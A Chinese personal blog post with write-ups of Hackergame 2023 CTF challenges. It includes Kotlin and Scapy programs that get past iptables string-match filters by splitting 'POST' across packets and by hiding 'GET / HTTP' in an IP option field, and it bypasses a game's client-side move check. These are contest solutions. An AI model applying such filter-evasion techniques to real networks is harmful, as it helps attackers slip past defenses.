with.fish

鱼类观测研究所

投机取巧向的 Hackergame 2023 Writeups

发布于 # 笔记 # CTF

基于巧合(交友不慎),今年终于完整参加了一次 Hackergame。其实往年也有参加,不过当时还是高中,时间不太够,只是做下签到题草草了事。

官方的 Writeups 其实已经比较完整了,这里写几题完成方法和官方不太相同(一般更简单)的 Writeups。点击题目标题可以跳转到题目和官方题解。

赛博井字棋

通过观察方法 setMove(x, y) 发现判断棋盘非空的逻辑在本地:

async function setMove(x, y) {
  if (board[x][y] != 0) { // 注意这里
    return;
  }
  if (frozen) {
    return;
  }
  let url = window.location.href; // 获取当前 URL
  let data = { x: x, y: y }; // 设置要发送的数据
  return fetch(url, {
    method: "POST", // 设置方法为 POST
    headers: {
      "Content-Type": "application/json", // 设置内容类型为 JSON
    },
    body: JSON.stringify(data), // 将数据转换为 JSON 格式
  }).catch(errorHandler);
}

在 Chrome 中,直接右键 JS 资源,复写这个文件并把判断代码删除即可。

🪐 流式星球

我不是很懂为什么你们题目的代码都用 OpenCV 了,题解不是 OpenCV(

import cv2
import numpy as np

def restore_video(bin_file, restored_video, frame_width, frame_height, frame_count):
    buffer = np.fromfile(bin_file, dtype=np.uint8)
    total_pixels = buffer.size // 3
    padding_needed = np.prod((frame_count, frame_height, frame_width, 3)) - buffer.size
    buffer = np.pad(buffer, (0, padding_needed), mode='constant')
    buffer = buffer.reshape((frame_count, frame_height, frame_width, 3))
    fourcc = cv2.VideoWriter_fourcc(*'XVID')
    out = cv2.VideoWriter(restored_video, fourcc, 60.0, (frame_width, frame_height))
    for i in range(frame_count):
        out.write(buffer[i])
    out.release()

if __name__ == "__main__":
    frame_width = 427
    frame_height = 759
    frame_count = 9999
    restore_video("video.bin", "restored_video.mp4", frame_width, frame_height, frame_count)

Komm, süsser Flagge

我的 POST

通过观察规则 -A myTCP-1 -p tcp -m string --algo bm --string "POST" -j REJECT --reject-with tcp-reset 容易得到我们不能在数据包中包含 POST 这个字符串,很自然想到拆分成两个数据包。但是一开始使用 nc 等工具发现这并做不到,可能 nc 还是将他们放在了一个数据包里。这里用 Kotlin 进行简单实现:

fun main() {
    val data = "POST / HTTP/1.1\r\n" +
            "Cookie: GET / HTTP\r\n"+
            "Host: 202.38.93.11\r\n" +
            "Content-Length: 100\r\n\r\n"+
            "YOURTOKEN\r\n";
    Socket().use { socket ->
        socket.connect(InetSocketAddress(InetAddress.getByName("202.38.93.111"), 18080));
        Thread.sleep(1000);
        socket.getOutputStream().write(data.toByteArray(),0,3)
        Thread.sleep(1000);
        socket.getOutputStream().write(data.toByteArray(), 3, data.length - 3)
        socket.getInputStream().bufferedReader().lines().forEach {
            println(it)
        }
    }
}

我的 P

题都没看,直接试了一下,把上面的 18080 改成 18081 即可获取 flag。

我的 GET

通过观察规则:

-A myTCP-3 -p tcp -m string --algo bm --from 0 --to 50 --string "GET / HTTP" -j ACCEPT
-A myTCP-3 -p tcp -j REJECT --reject-with tcp-reset

容易得到服务器只接受前 50 字节包含 GET / HTTP 的数据包。网上查了很多资料,一开始想到用 TFO (TCP Fast Open),但是迫于我可怜的寄网知识,不是很懂。后来在研究 IP 数据包的 Header 的时候发现有一个区域叫 Options,似乎可以让我们塞一些东西,所以就有了以下代码:

from scapy.all import *
from scapy.layers.inet import IP, TCP, IPOption

def tcp_test(ip, port, data):
    # 第一次握手,发送SYN包
    # 请求端口和初始序列号随机生成
    p1 = IP(dst=ip,
            options=[IPOption(b'\x88\x0E\x00\x00\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50')]) / TCP(dport=port, sport=RandShort(), seq=RandInt(), flags='S')
    ans = sr1(p1, verbose=True)
    print(ans)
    # 假定此刻对方已经发来了第二次握手包:ACK+SYN
    sport = ans[TCP].dport
    s_seq = ans[TCP].ack
    d_seq = ans[TCP].seq + 1
    # 第三次握手,发送ACK确认包,顺带把数据一起带上
    print(sr1(IP(dst=ip, options=[IPOption(b'\x88\x0E\x00\x00\x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50')]) / TCP(dport=port, sport=sport, ack=d_seq, seq=s_seq, flags='A') / data, verbose=True))

if __name__ == '__main__':
    data = 'POST / HTTP/1.1\r\n'
    data += 'Host: 202.38.93.111\r\n'
    data += 'Content-Length: 100\r\n'
    data += 'Accept: text/html\r\n\r\n'
    data += 'YOURTOKEN\r\n'
    tcp_test("202.38.93.111", 18082, data)

其中 \x47\x45\x54\x20\x2f\x20\x48\x54\x54\x50 部分就是 GET / HTTP,前面几个字节是 CopiedOption ClassOption Number,我也不是很懂,随便找了个看起来能塞足够长内容的类型——136/0x88 Stream ID,然后就可以发包了。

但是,这时候,通过 Wireshark,你很可能发现你的包要不就是没发出去,要不就是服务器返回握手包之后直接被 RST,再次查了一堆资料之后,可以发现是内核认为这个数据包有问题,帮我们自动发送了 RST。于是,这时候就该使用题目中提供的 OpenVPN 了。


其他题目的解法我都基本和官方一样,不再赘述。